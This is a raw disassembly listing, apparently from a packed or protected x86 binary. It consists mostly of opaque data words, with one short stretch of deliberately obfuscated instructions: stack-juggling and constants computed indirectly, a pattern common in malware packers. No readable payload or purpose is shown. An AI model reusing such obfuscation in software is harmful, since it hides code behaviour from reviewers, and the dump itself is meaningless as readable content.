		dd 217977Ah, 0BD466458h, 0D382EAEDh, 0F4E32FEDh, 5FCE77Dh
		dd 0D6B968F2h, 0EF22E058h, 85D6406Ch, 259A15A2h, 995E78C0h
		dd 7F76A2Ah, 0C896C00h,	7396C54Ch, 0B0CEE75h, 4E9178C1h
		dd 8812F09Fh, 0DC634991h, 72B6B630h, 0D44C3275h, 0E7749E5Ch
		dd 2608FDC4h, 0AB72B75Eh, 54C18568h, 0BA5B2907h, 0D8AE6AA1h
		dd 309117A8h, 1A834h, 57041300h, 0F269AB79h, 91CA4614h
		dd 2E2DE5B3h, 0C8938250h, 0BA1D4FEAh, 5422005Bh, 0EDBB99C2h
		dd 89573526h, 23F5D388h, 3BD6B83Fh, 815B84D4h, 4A1104E2h
		dd 0E8739E6Ch, 8C4A9B0Ah, 72F2D586h, 0CA5137EFh, 78BF9AF3h
		dd 0C0A2D70h, 3B2B0D94h, 6DB078C0h, 6487D441h, 572DBA9Dh
		dd 0E578C03Bh, 0CABB4037h, 0C1E48FE1h, 0ADh, 0EED057CFh
		dd 7378C02Eh, 4E84D30h,	2D2B4E0Dh, 94B7A46Fh, 0EB70A1CDh
		dd 5A1E01C8h, 707DA0BBh, 7EC76F95h, 3F1D3ED3h, 98BBA071h
		dd 73598198h, 0BF8F71ECh, 0DF33678h, 643DBD48h,	1D00109Dh
		dd 0DE041DA7h, 0A16C71F8h, 266972B5h, 91938240h, 0B652280Ah
		dd 3E6AAD72h, 9E6588D3h, 0D24311EFh, 0E4905289h, 0E6F17A9h
		dd 0D012h, 2F2CEB00h, 0CA918351h, 69F21EECh, 655BD8Bh
		dd 0A0BB5A28h, 924527C2h, 2CFAD883h, 0C59371EAh, 612F0D4Eh
		dd 0FBCDABB0h, 3CAE9017h, 593384D4h, 868C4ABAh,	8EBB2D5h
		dd 0AC8AD144h, 4A2833DEh, 4E0D04DBh, 0B42AE72Bh, 0FD6F962h
		dd 61F88260h, 0FF15D3B9h, 8F72395Ch, 31EC8A11h,	0A6E978BAh
		dd 5D23F83h, 0A24756AAh, 27099021h, 0AC78BB2Ch,	2D0BBA69h
		dd 0C3A9B25Fh, 0FE6D6FFEh, 9CC844A5h, 0FAC1E477h, 0BE4F5C17h
		dd 618ADCF3h, 19F82299h, 17DC6442h, 7C329F71h, 5216F9A5h
		dd 35799CBFh, 0DEC047DDh, 1C4ADD6Dh, 7A4164F7h,	80A35295h
		dd 65B10674h, 3D1AFACh,	2E2A4D0Eh, 11h,	3C1FF4B2h, 9B4CCE19h
		dd 3E7CE99Dh, 2047AC8Fh, 48130415h, 2B30E125h, 0C4FC408h
		dd 0EA71A5E9h, 0C99283C7h, 0A8B362A6h, 8AD14185h, 6EED2367h
		dd 4E0D074Bh, 54562A2Bh, 4C6815Eh, 83000000h, 348704EEh
		dd 0C5685C24h, 89000050h, 168241Ch, 89000058h, 0ED68242Ch
		dd 8B060CC8h, 0C483241Ch, 5EFD6804h, 24890000h,	24048124h
		dd 4, 4EC815Dh,	89000000h, 8B82404h, 1000000h, 581889E8h
		dd 5D2434FFh, 4C481h, 34FF0000h, 0C4835B24h, 0A82CE904h
		dd 0B88AFFFAh, 60CD2DCh, 0E0FFC503h, 5498B913h,	37258C1Eh
		dd 416A8350h, 20135871h, 64D3D13Dh, 59D8B060h, 0EC9A5FCh
		dd 5762885h, 38E861C9h,	7A1F3ECAh, 19730453h, 4DFE2674h
		dd 4AB86772h, 900EDA2h,	0DE9h, 3902200h, 0E7339C37h, 77h
		dd 0BAE90000h, 6800000Dh, 60CD517h, 0FAA7C9E9h,	0D5EA68FFh
		dd 0BFE9060Ch, 68FFFAA7h, 60CD777h, 0FAA7B5E9h,	0D89D68FFh
		dd 0ABE9060Ch, 68FFFAA7h, 60CDA40h, 0FAA7A1E9h,	0DCD868FFh
		dd 97E9060Ch, 68FFFAA7h, 60CDE99h, 0FAA78DE9h, 0DF8368FFh
		dd 83E9060Ch, 0EDFFFAA7h, 8553312Ah, 20EECC8Fh,	0BF8D6BF0h
		dd 5C2A0853h, 29C4A2B9h, 0DA819443h, 73E82EFCh,	0F4CC795h
		dd 0ADAE6331h, 9219FDCFh, 84D43EB0h, 2BA35B35h,	0D43DC2A4h
		dd 21044784h, 0CA0D04BCh, 0C35D1184h, 0D2F5A4F9h, 0FAD8838Eh
		dd 4B31E970h, 0C141F1C4h, 4D337678h, 226C4ED5h,	31F178C1h
		dd 0E9CC7BE0h, 224B212Eh, 2BD978C1h, 0FED6AF54h, 2EB5E48Eh
		dd 0DC000000h, 50878C4Ah, 948414ADh, 274AF945h,	64FD7D60h
		dd 7A51D8BEh, 0F778BFFEh, 0AE8491B4h, 3C78C09Eh, 7312298Eh
		dd 18E48F7Eh, 0D5h, 4E0D043Fh, 2D2EE72Bh, 104BC60Ah, 0F368A9EDh
		dd 94C74F0Dh, 51C7AA71h, 0C76DD3BAh, 93C8497Eh,	0B82DE8ADh
		dd 8D24E8B4h, 0AB6634AAh, 948D8DB0h, 67A3684Eh,	0BC1B4072h
		dd 9219977Ah, 78C06D9Fh, 0EB70A563h, 0A11E01C8h, 7900785Eh
		dd 78C05E97h, 80F6D91Ch, 0D5BB63F6h, 0B609114Eh, 250B4E72h
		dd 3427EFADh, 0A3674A11h, 4503E972h, 1C678AD1h,	6B514C70h
		dd 0BA9D4C93h, 17FEBC44h, 789D6144h, 0A12CACE3h, 0B21317A9h
		dd 0B6EB6h, 5FFC1B00h, 0FA61B381h, 99C24E1Ch, 3625EDBBh
		dd 0D08B8A58h, 0C21557F2h, 5C2A0853h, 0F5C3A1BAh, 915F3D1Eh
		dd 2BFDDB80h, 3FDEC047h, 896384D4h, 4A1104EAh, 0B86CA664h
		dd 0C76B4F31h, 0E291D47Eh, 9F15F8BFh, 3D1B40D1h, 9D148CEh
		dd 9BC59C23h, 0FF4278BFh, 3AF9CFDCh, 0D98778C0h, 0E1285DE2h
		dd 0B663E48Fh, 8A000000h, 684E0D04h, 6B8769F0h,	0C90C7EC7h
		dd 2EE72BE6h, 16FD0A2Dh, 8C7EC76Eh, 2AF8D685h, 515174E7h
		dd 0A52C12C8h, 78C06BB2h, 0F0A7B176h, 0B81ED53Ch, 0D694BD2h
		dd 0ABEE78C0h, 2A084BC8h, 2A31E4A2h, 8C52C747h,	0B2EB1FA6h
		dd 0ED3072B5h, 94C74907h, 49C7AA71h, 0F3D18A8Bh, 0F863AD6Bh
		dd 97C45115h, 0A9D84260h, 605CBD17h, 0A9Bh, 543229EEh
		dd 0EFCD8E86h, 8E6CEF21h, 2B0952C0h, 0C5A3B85Dh, 8095422Ah
		dd 0E72FFDDBh, 4BC89674h, 0AD643210h, 1AFED0AEh, 0D440B193h
		dd 0BD5C3684h, 99C61104h, 0F30D78BEh, 0FDCBA958h, 9C614714h
		dd 0E69904C8h, 0E65C3FCDh, 4E0D0477h, 0F7B52D2Bh, 561D401Bh
		dd 0C76B7F61h, 0DEC1047Eh, 8664F71Ah, 0D7BD65FCh, 7E60E75Fh
		dd 37EC76Bh, 0D988D343h, 0FC2A1DA6h, 0E0C309A2h, 0C0212853h
		dd 64AE6C78h, 549714F7h, 526E3331h, 53E413E4h, 0FAD15E41h
		dd 8878C0BAh, 275EE5DAh, 27E48F65h, 0F178AC69h,	78C0B30Fh
		dd 7FA25194h, 0C994D5B8h, 0BB000006h, 2309D148h, 87AAB165h
		dd 0D85FDDC0h, 78BF97A1h, 0F7B59BDEh, 0A25D401Bh, 0C040BF95h
		dd 0D89F4D78h, 8FE06223h, 69E29E4h, 48500000h, 9C2309D1h
		dd 78BF88A1h, 2924A065h, 0B77956FDh, 2E1457D4h,	0AB078569h
		dd 0C0044224h, 5184C778h, 0E8CB19EAh, 244A202Dh, 2AD878C0h
		dd 0FCD7AE55h, 65B4E48Fh, 0DB000006h, 0D3888C4Ah, 3106E9B0h
		dd 0DD051CADh, 51C17FF7h, 0B79A270Ah, 3C78BF97h, 0DA4E13F9h
		dd 4570BE6h, 0B629B194h, 0ECAA2DB7h, 4C32E871h,	4975CD4h
		dd 6C4EE565h, 77583A2Fh, 9ADDECAAh, 929F2AB7h, 61A4E6A2h
		dd 3DB3E3Eh, 99D4961Dh,	0D619E09Bh, 7CDF32F0h, 0AC2AD196h
		dd 0E7708207h, 0DE015ABBh, 0F0BE3417h, 8069B621h, 0DF3F8688h
		dd 2EB3F930h, 0EB4CA9C4h, 90EEFh, 0BF9C7B00h, 5A0113E1h
		dd 0F962AE7Ch, 96C54D1Bh, 302BEAB8h, 22B5B752h,	0BC8A68F3h
		dd 5523015Ah, 0F1BF9DBEh, 8B5D3B20h, 423E20A7h,	0E9C384D4h
		dd 4E0D044Ah, 0F0362B2Bh, 3F5A830Ah, 0E09E78BAh, 0CB482B30h
		dd 598EB804h, 5B0AC5BDh, 4660E67Dh, 0AD9378BBh,	47CCAE35h
		dd 0E5178BBh, 97738DBh,	987B942Ah, 68F31E58h, 0C418008Ah
		dd 6BA866DEh, 0D6800DF0h, 1A78BA9Fh, 80A3B85Ch,	1659D6B9h
		dd 0B8A37230h, 30EBCE95h, 503625ECh, 5B278Bh, 0F8DB50BAh
		dd 3C45EB82h, 0D83B78BBh, 3AD7A583h, 6A763B21h,	36030B72h
		dd 0BDCA8568h, 78BAD0E7h, 63BF0438h, 47CFADAEh,	0A1C7C082h
		dd 0FFE23E85h, 9F85D63Bh, 442734E1h, 25A67C89h,	0A61478BBh
		dd 0CB0C05D1h, 0DC80F5A7h, 0AC8A3901h, 14726h, 0D04C300h
		dd 2CE72B4Eh, 1DFF0C2Fh, 5B7EC76Bh, 8482A5B6h, 290C4FC6h
		dd 0AC33B0A9h, 7EC76ACAh, 6D520908h, 0E957B2Ah,	78BA3EE5h
		dd 482AB129h, 0CD78BA97h, 0A6B55E8Ah
		dd 0CC0346C3h, 11A5A3EAh, 0E8B8B415h, 0A1000007h, 3907E576h
		dd 0D4A280DBh, 73411F3Ch, 10DEBC9Fh, 0DD785605h, 8ECD488Fh
		dd 2734E2B0h, 0C3987B49h, 61FA17E5h, 46CDB183h,	84D44364h
		dd 4700FE9h, 0E72B4E0Dh, 8D6FF62Eh, 127EC76Bh, 0C23A20CFh
		dd 0C76B593Bh, 0DC7F977Eh, 0CA0DF2B9h, 70A371E7h, 68D05EBh
		dd 7EC76B24h, 0CA6DE2A9h, 0B83DD5C4h, 28B02609h, 94DFB363h
		dd 75588D15h, 1DFB60B1h, 0FD18C64Fh, 8E8CAF5Eh,	5C9146D0h
		dd 8C691555h, 35FC1FCEh, 0D4878E52h, 7DB176EEh,	0AB887613h
		dd 0B616F8EDh, 589B7EC7h, 8F72E92Ch, 0DB8090D4h, 0BE9D74B8h
		dd 793E729Bh, 146B731Ah, 32104BCAh, 8866FC89h, 108FDEh
		dd 0D89D0000h, 0E39CC045h, 0FA5F42BFh, 7B4Ch, 0D04E900h
		dd 481E2B4Eh, 0B67EC77Bh, 28ED7348h, 9838C4A9h,	460AED7Bh
		dd 0E4B290CBh, 0FC092C2Fh, 7EC74025h, 759B5971h, 0C7303E6h
		dd 9FBC5A18h, 0ED2B57Ch, 9785605h, 294C0F04h, 0A2D2EE5h
		dd 83924CC6h, 3FEEB5D8h, 1D3ED81Ch, 96E00FAh, 249BA34Ah
		dd 5C4219FAh, 6B7B5DE4h, 40007EC7h, 0F3D685D6h,	71ABE67Dh
		dd 1F267EC7h, 0DE88BE65h, 0FFFE7D24h, 814C4BFFh, 0E9000003h
		dd 2B4E0D04h, 0C76B781Eh, 0B7A46E7Eh, 96C55094h, 774C1473h
		dd 0CFB44628h, 7F5DFE13h, 0D8FB60B1h, 0C76B25CBh, 0D19C617Eh
		dd 0AEA0B0A0h, 0F31EE2C5h, 0DC454568h, 0EB5B2006h, 0E5D93C9Ch
		dd 0CB9080ACh, 2DF26AE8h, 0D7FF56E2h, 0CC593CFCh, 78BA7BA3h
		dd 926EA5E8h, 0AD11A567h, 645504Ch, 0D3440000h,	38DCAA88h
		dd 99774523h, 0FC16E4C2h, 62B3815Fh, 0EC801BF9h, 53312AEBh
		dd 0ECCA9185h, 8866F51Eh, 260457BAh, 7E97054h, 8C84D445h
		dd 0D0413B2h, 59A3684Eh, 942A3A99h, 590853C2h, 9E77BB76h
		dd 11DFBDh, 77BB9D24h, 18F97EC7h, 74592043h, 249C8231h
		dd 4047EF5Fh, 2B205A45h, 7EC83149h, 0B2BA07CEh,	4152645Bh
		dd 6B39AF92h, 4A8EB1AAh, 0AE6D90CBh, 1005D1A6h,	5EA0654Bh
		dd 3C5D33D3h, 18C1371Ah, 0DE87F16Dh, 6DEE23E1h,	0E4AA1D3Ah
		dd 17FA859Bh, 287D6h, 0EB26E400h, 153823F3h, 57BC9F4Eh
		dd 4ED5D048h, 7EC76B6Ch, 9082AEF1h, 0ECF91CCBh,	7FD86C20h
		dd 86A9B25Eh, 678AD142h, 0C996ED5Bh, 0CB7047F5h, 0DD77B4BAh
		dd 1C3FD694h, 24AF839h,	481F0000h, 0AE260CD0h, 0C76B4527h
		dd 0A487CA7Eh, 6BBD9F26h, 0FF427EC7h, 6C03CFDCh, 0EB997FD8h
		dd 0B4166F94h, 0C038DD77h, 0D8645739h, 0B699DC7Fh, 21775h
		dd 50C58300h, 48C3280Bh, 0AE260CD0h, 6ACDAF36h,	0D8527EC7h
		dd 0C76B6F51h, 2B1F47Eh, 6BB4921Fh, 72307EC7h, 0D097BAA1h
		dd 0A2D70EDh, 0D86C31FDh, 0A219C77Fh, 0E2CDF9BEh, 33BBE96h
		dd 0DB048120h, 8C4ADD76h, 6AF1D784h, 7FD93E88h,	0A6E7CA0Dh
		dd 1C4h, 0CD048CDh, 6BF59F26h, 0F73A7EC7h, 6BFBC7D4h, 0E3917FD8h
		dd 0B41E679Ch, 0A56DDD77h, 94000001h, 7ECA0D04h, 4A29A70Fh
		dd 78BCDF8Eh, 5AE4C299h, 0C1391FC7h, 0C1E0C249h, 22657EC7h
		dd 0D1DFB23Fh, 216478C0h, 0B21BF1FEh, 0DA978C0h, 7194C74Fh
		dd 4037C7AAh, 0D3AA17DCh, 18DDD38Bh, 0D6BC75E5h, 0D4B7ADF2h
		dd 8F795035h, 3D3BE4h, 48620000h, 0AB2309D1h, 543724EDh
		dd 0BF9AF0C7h, 6CF36D78h, 78C03B8Ah, 99C24F0Fh,	0B183BEAh
		dd 78C03B35h, 0BAAE15C3h, 0CF8C8442h, 0C03AF8DAh, 573A7D78h
		dd 8FE1CDB8h, 0C9BEE4h,	4E50000h, 0F0684E0Dh, 0C76B8769h
		dd 0E6C90C7Eh, 2D2EE72Bh, 24878247h, 6B29065Eh,	57CFCD88h
		dd 0C831EED0h, 4D30737Eh, 0B0D38889h, 0D8B6A56Ch, 0C8355A41h
		dd 9D41D07Eh, 0FEC5E873h, 0FA1D3ED2h, 1CA68433h, 39F7DD05h
		dd 219F82D9h, 0BDD3E89Ah, 2DB42C78h, 78BE834Bh,	0E46009D0h
		dd 2F575641h, 25264D80h, 975D7203h, 0EF437B4h, 8B2E5649h
		dd 0B99C084Fh, 46987D3Bh, 4B5C8FCCh, 9AF6964Fh,	0E0AE8C3Bh
		dd 1BEF2635h, 2411A1C6h, 3ADC7C3h, 3BDC0000h, 0A0744220h
		dd 10FDDBBh, 64AE7C5Ah,	0CA4B19F7h, 5418B391h, 0EBC99283h
		dd 8462F91Dh, 20FE5DB6h, 0BE9CBF52h, 9F8108ECh,	2484D447h
		dd 1104AB4Ah, 739E6C4Ah, 49B0AE8h, 0F0684E0Dh, 0C76B8769h
		dd 0E6C90C7Eh, 0A66F2D2Bh, 52A682B5h, 8345EE3Fh, 2635DCA0h
		dd 94908240h, 0C84E2B0Dh, 0BE6DB07Eh, 0FADD7E92h, 4E16ED84h
		dd 89907EC8h, 59E46B51h, 5D78C14Ch, 4E7C5EE5h, 0C0B378C1h
		dd 60AD21BDh, 0FFE2250Ah, 0F2613F82h, 0D7848C4Ah, 6B886AF1h
		dd 0CA0D7EC7h, 0F0EE23E7h, 4F163922h, 0D8397DA0h, 9E259D83h
		dd 7EC76BBCh, 43D2FE41h, 35BF3518h, 8910F62Ch, 78C07BB6h
		dd 5412F83Bh, 62F91DC1h, 0E6C990B3h, 5B481E2Bh,	28D678C0h
		dd 30FCD53h, 0AFD67558h, 0DCE48FC5h, 51h, 9D14803h, 9BC59C23h
		dd 0FF4278BFh, 0F020DEDCh, 60B9386Bh, 34EB7148h, 9FEEC451h
		dd 0EC2478BFh, 8084C6Fh, 69713053h, 0C3714512h,	2BF068FCh
		dd 8820461h, 96786D31h,	1B78C01Ah, 1A381AA1h, 7ABD78C0h
		dd 3C49E8CBh, 4FE49002h, 0D3h, 4E0D0476h, 2D2EE72Bh, 0D940C0Ah
		dd 7EC76B2Bh, 0C68A6DB0h, 0A9ED104Bh, 7E15F368h, 7EC76E97h
		dd 7157040Dh, 18FA81F9h, 9D7EC767h, 6783655Ah, 0F2BA7EC7h
		dd 7AF0138Fh, 2A0D5035h, 302BE6B4h, 0CE140D0Dh,	0EE661E8h
		dd 0ECAA78BFh, 4C133625h, 4568F320h, 0DB1E9B7Eh, 0B4EE73FDh
		dd 0C885CB64h, 987E2D13h, 0B5C96511h, 8167AA72h, 2B0952C3h
		dd 2F2CE5A3h, 978D884Ch, 0B6712E10h, 0BF6F6572h, 162E57CCh
		dd 83FEE31h, 17A9060Ch,	0ECD6D233h, 9D000001h, 3503E17Ah
		dd 0D09E7CDFh, 6F3D1B40h, 0CDAB8A3h, 0D9745209h, 8AD14493h
		dd 2338DEACh, 0BF9C7745h, 5DFE13E1h, 42C9AD7Fh,	84D44960h
		dd 46C0BE5h, 0E46C4A11h, 4B6EED26h, 34DDA184h, 48DA4927h
		dd 0D3888CD1h, 0E0B73E24h, 5D78BF9Ah, 14EAF71Ah, 0A278C03Bh
		dd 92C94806h, 0A3581FAFh, 0E48FE1E2h, 0BDA9h, 0D04D000h
		dd 6F2D2B4Eh, 11D5B8A3h, 0F9715704h, 0C76B9072h, 0EFD2157Eh
		dd 6E402734h, 3EFC7EC7h, 9F6689D2h, 0B19F8BCh, 0C766A284h
		dd 0AD67277Eh, 7250FFAEh, 30B76DA4h, 7EC7664Eh,	0BEE190D3h
		dd 9D835BBEh, 0BF8E9B16h, 3F1D6078h, 9076ACB5h,	0B5E60409h
		dd 0D8BE0172h, 7F61E860h, 472B696h, 0FB1ADEC1h,	0D77E0ADCh
		dd 4CFB16B6h, 9C21E66Eh, 5945758Bh, 1203C7AAh, 580C1249h
		dd 0D23317A9h, 102D6h, 0CB908700h, 66F51FEDh, 556BA88h
		dd 0A2B95927h, 3C1FF6C4h, 2EA9C35Eh, 0C89674E7h, 612F0D4Eh
		dd 0FDCBA9B2h, 97694714h, 4A4A2CB3h, 0F5CF84D4h, 4A110456h
		dd 0E8739E6Ch, 8C4A9B0Ah, 71A5D18Ah, 0CE4307EAh, 0AE6C6A8Dh
		dd 4E12F566h, 0F4B298C3h, 0CF1A3D1Eh, 91A89747h, 4225D425h
		dd 7DF42CCh, 0EF325C21h, 4E5F190Fh, 966ED6Bh, 8678BA9Ch
		dd 35DC2043h, 91824026h, 0E971E7CAh, 230B4624h,	3BD683F6h
		dd 0CA8E7120h, 702E1447h, 1BD6B9A2h, 0A4B75F1Dh, 4AD7BA81h
		dd 0A7AAFB3Eh, 78A219E1h, 0D2A13E99h, 0CC5FA940h, 3FB73F1Dh
		dd 0AB47D6B8h, 19945B47h, 3BA0D8E9h, 0AF735605h, 8B997C62h
		dd 0AAE32204h, 0B564A747h, 795B2006h, 5FCECAA5h, 0B9FDB89Bh
		dd 0D3DF0259h, 457B977h, 0A7371AE1h, 500B06D0h,	0BF25EA72h
		dd 568B9CFDh, 0DE33F7DAh, 0C5E5A7Dh, 0E2000000h, 0ACEBDF1Dh
		dd 41242641h, 41520DCh,	0E1254813h, 0C4082B30h
		dd 0A5E90C4Fh, 83C7EA71h, 62A6C992h, 4185A8B3h,	23678AD1h
		dd 74B6EEDh, 2A2B4E0Dh,	495368h, 48F5400h, 24048124h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 420A08D2h
		neg	eax
		dec	eax
		neg	eax
		sub	eax, 3BFD34EAh
		mov	ebx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		add	dword ptr [esp], 2F2836F3h
		pop	dword ptr [ecx+8]
		sub	dword ptr [ecx+8], 2F2836F3h
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_4FF07A
; ---------------------------------------------------------------------------
		db 6Ch
		dd 5388B34Bh, 95D85EB2h, 0EA052693h, 0E0AAB86Bh, 0C503060Ch
		dd 147EE0FFh, 80732F0Eh, 0E6545424h, 0DA6F3532h, 7B5D0DD4h
		dd 3B0B54B8h, 5F257FDCh, 41C901AAh, 0DE2A097Eh,	0E6910E54h
		dd 88C464FEh, 0CCC95DF9h, 24EB6AC3h, 9 dup(0)
		dd 0BDE9h, 8EB58900h, 8B060CE1h, 7218D85h, 0A9858B06h
		dd 8D060715h, 0CE1D8B5h, 79858D06h, 0FF060A4Ch,	0E855C3D0h
		dd 0
		dd 0DEED815Dh, 83060CE1h, 7218DBDh, 850F0106h, 2Ch, 0E18EB5FFh
		dd 858B060Ch, 60715A9h,	81273635h, 3CD0FF34h, 0A850F01h
		dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 60CE192h
		dd 8EB5FF56h, 8B060CE1h, 715A985h, 27363506h, 0D0FF3481h
		dd 8D0CC483h, 0CE192B5h, 14468B06h, 8304E083h, 840F04F8h
		dd 7, 5E9C033h,	0B8000000h, 1, 218DBD83h, 0F010607h, 785h
		dd 0E9C35D00h, 2, 858DCF5Dh, 60CE1B7h, 10D98589h, 9EE90607h
		dd 4E000000h, 940A0C37h, 5000000h, 1000000h, 28000000h
		dd 200000Ah, 22h dup(0)
		dd 0B53E900h, 0B9680000h, 0E9060CE4h, 0FFFA983Ah, 0CE5D168h
		dd 9830E906h, 0E68FFFAh, 0E9060CE7h, 0FFFA9826h, 0CE77D68h
		dd 981CE906h, 9D68FFFAh, 0E9060CE8h, 0FFFA9812h, 0CE90868h
		dd 9808E906h, 0F68FFFAh, 0E9060CECh, 0FFFA97FEh, 0CECF268h
		dd 97F4E906h, 9B7CFFFAh, 14E2C0h, 61AF7D5Bh, 0C44E1CFAh
		dd 2AEBB997h, 0B4B85331h, 8B69F223h, 240259BDh,	0C09EBD56h
		dd 5E3C1FF2h, 3F21A88Ch, 0C484D44Eh, 0D044BEAh,	69F0684Eh
		dd 7EC76B87h, 2BE6C90Ch, 53312AE7h, 760650C9h, 1679173Bh
		dd 0A2290FBEh, 78C112CFh, 0E1EE1154h, 78C0F30Bh, 6F94EB99h
		dd 0E48F2D16h, 5C75h, 50C58300h, 3E21E80Bh, 9D148D9h, 4224AB23h
		dd 0C77EC76Bh, 9C23A184h, 78BF9BC5h, 0CFDCFF42h, 78C03AF9h
		dd 577AE12Fh, 375A0113h, 299FB8ECh, 22336732h, 0CE4689EEh
		dd 41CE2FF6h, 7220F4A3h, 189F170Dh, 78BFCA36h, 0B9F7286Dh
		dd 2A0FFC76h, 206504E7h, 6BE49065h, 0B8h, 4E0D0492h, 2D2EE72Bh
		dd 934BC60Ah, 0F4BBDE7Dh, 0C9A5F45h, 2435D535h,	97C44E7Ah
		dd 0FCAAD74h, 9AC15311h, 0C01EF3B7h, 7E5C0B50h,	0C8298EE7h
		dd 1645CC7Eh, 37A76A38h, 0ACCF7EDDh, 876DB5ACh,	0C1280D00h
		dd 0B18FD278h, 2EB53227h, 78C1184Ch, 186749D0h,	0A9EC78C1h
		dd 0ECD281C4h, 0B6C32865h, 6EA66472h, 655C1EDh,	7D63A623h
		dd 270556BFh, 689FBC59h, 17A8DEC1h, 29E3DF40h, 0BD000009h
		dd 5523015Ah, 0F0BE9CBFh, 8F5D3B20h, 2CFAD883h,	0F99472E9h
		dd 0AAB16473h, 4318FECCh, 0DF7C9765h, 7DDE3301h, 62E9CD9Fh
		dd 84D44F80h, 48C2B05h,	9E6C4A11h, 9B0AE873h, 2309D148h
		dd 0CAAC33ABh, 4F7EC76Ah, 0C59C290Ch, 4178BF9Bh, 0A7CA9183h
		dd 3D80FDE0h, 0B55E1C1Ah, 90BC83A6h, 0F0B7DA81h, 3BAA800Dh
		dd 8A3878C0h, 0E1770E35h, 0E214E48Fh, 3B000000h, 90170D04h
		dd 7EC76BAEh, 98B1BBE5h, 3C2148C4h, 29274AF9h, 0F77EA66Bh
		dd 7EC84315h, 0C5A8579Ah, 61471401h, 0C8EB70A3h, 56631E01h
		dd 7EC845FDh, 9F85D63Bh, 3FBEA027h, 437EC8h, 0A71FA71Dh
		dd 0C83F3E20h, 9D80C37Eh, 3D2338D9h, 0A6C9927Fh, 4141FCDFh
		dd 951C02D8h, 78C145A2h, 0BC462467h, 0DDBF46A5h, 6278C135h
		dd 367F61E8h, 0C10478C1h, 57D6312h, 67528A40h, 0B99CB237h
		dd 0B623F82Ch, 7C763D72h, 767CFDD4h, 3EFCE291h,	0D8A684D7h
		dd 0E873A13Dh, 184FFEC5h, 17A92C1Bh, 118985E6h,	0D5000008h
		dd 6D3B1942h, 8D6B4A7h,	0A7755308h, 4412F06Bh, 11AC8AD1h
		dd 0C2997C5Bh, 5B0016E4h, 0F764AF7Dh, 95C64B19h, 7A01E5B7h
		dd 84D45098h, 4A4431Dh,	1249CD11h, 9B7928EFh, 391744CDh
		dd 0D854ACAh, 0B6F2EE9Bh, 0C15014F7h, 0DE33779Ah, 0C159F7Dh
		dd 0BA78F0D6h, 0CB937E59h, 0B21BB772h, 4B95E003h, 6BC128B2h
		dd 8512F5A4h, 78BB0B26h, 0B57A60A3h, 86939B56h,	8200E351h
		dd 280E4DC4h, 0D99F7863h, 16F931ACh, 1BD709A0h,	11978BBh
		dd 0BDA3B85Eh, 0BB1C5436h, 0E796D978h, 82098109h, 78BB1CA0h
		dd 2AFFE225h, 5F0217AEh, 0BA81A4B7h, 0E8AD250Bh, 0A415664Ch
		dd 0D2898C2Fh, 0D0B34023h, 5472B35Eh, 77355DCh,	38F872B4h
		dd 965D80DBh, 448704E7h, 7D5FE65Eh, 0B472B407h,	3EDDBB1Ch
		dd 0E3AA8F4Bh, 70F3E812h, 9AC67574h, 77FFE279h,	0EB0EED04h
		dd 7572E7FEh, 0EB1F0CEEh, 9F4E91DEh, 4D2732B9h,	6C2CD8E3h
		dd 0CB92B5A6h, 60F9F91Ch, 9E5CD4BAh, 0B0AB6975h, 3417C68Dh
		dd 0D969F2A7h, 1692ED2h, 0CA04E2A1h, 0BE017E61h, 64F71AD8h
		dd 259B886h, 867572CBh,	322E8FB7h, 6D4h, 78560512h, 13F16AAAh
		dd 0B290CB45h, 4F2D2EE4h, 0E9C79481h, 5CB91E4Eh, 0C35321FFh
		dd 27ECBA98h, 89885634h, 3E22F4D2h, 0D451D5B7h,	0E1805A84h
		dd 4BD2D148h, 7EC76B69h, 0BF06BA7h, 0AC3319C8h,	78BA4F4Dh
		dd 4F0C0ACAh, 0D0B6652Ch, 0A9D50212h, 80548AE6h, 3604E291h
		dd 5C5A7DDEh, 2E5769Eh,	5188D33Eh, 11A5BF36h, 65AEAA0Bh
		dd 81000006h, 19E7C596h, 0B48260FBh, 5321FF5Ch,	0F0BE9CBFh
		dd 0BD583625h, 6EED28AFh, 754C290h, 0A3B85B29h,	411AF7C5h
		dd 26AD9163h, 84D45244h, 4A50EFC9h, 0EED18A8Ch,	4D33EB6Eh
		dd 0BA4F67C6h, 0EC24E478h, 173A21F2h, 0B77EA150h, 0AD642208h
		dd 0D246D0AEh, 0AA66240Ah, 2B1FBE2Dh, 35E4A387h, 0A74DD452h
		dd 0E478BAAEh, 9A717EA1h, 2878BAAEh, 87FE057Ah,	4E49572h
		dd 39h,	0CD0482Bh, 6BC19F26h, 0FB3E7EC7h, 18BF5715h, 0E67ABAA7h
		dd 31540372h, 0BFCC876Ah, 7EC85CE9h, 0F81DDB77h, 8BF08063h
		dd 87C31174h, 77ADEh, 4CA10000h, 1A1h, 0DEEBF3E9h, 87CB1F7Bh
		dd 0F536149Ch, 0EDB8FE3Bh, 1AC97845h, 0F9CAAD34h, 0C4F78BFh
		dd 5139A91Ch, 37F52915h, 1F9F82D9h, 77FEE43Ah, 0C30E206Ch
		dd 0B0B2E71h, 30129916h, 0B5C30EC1h, 0C0D2B43Bh, 1457C30Eh
		dd 16F87F65h, 9BC30EC1h, 3CC3A958h, 0BD043E87h,	0DD9B81C4h
		dd 0F467AA34h, 7D5B0AD1h, 0C2F962AFh, 0CD5C04CFh, 45151172h
		dd 0A1000005h, 3907E576h, 0D4A280DBh, 73411F3Ch, 10DEBC9Fh
		dd 0DD785605h, 8ECD488Fh, 2734E2B0h, 0C3987B49h, 61FA17E5h
		dd 46CDB183h, 84D45364h, 4A700FE9h, 139A8A8Ch, 7EC76B31h
		dd 0E1C473B6h, 4467F41Dh, 47CEDD44h, 7EC76B65h,	0AB74A7EAh
		dd 0FDF146F1h, 78FFE594h, 78C097B9h, 7D5B3F6h, 811A510Ah
		dd 0C0119F13h, 4DA635Fh, 0B0C0000h, 70A47250h, 0D13F0DEBh
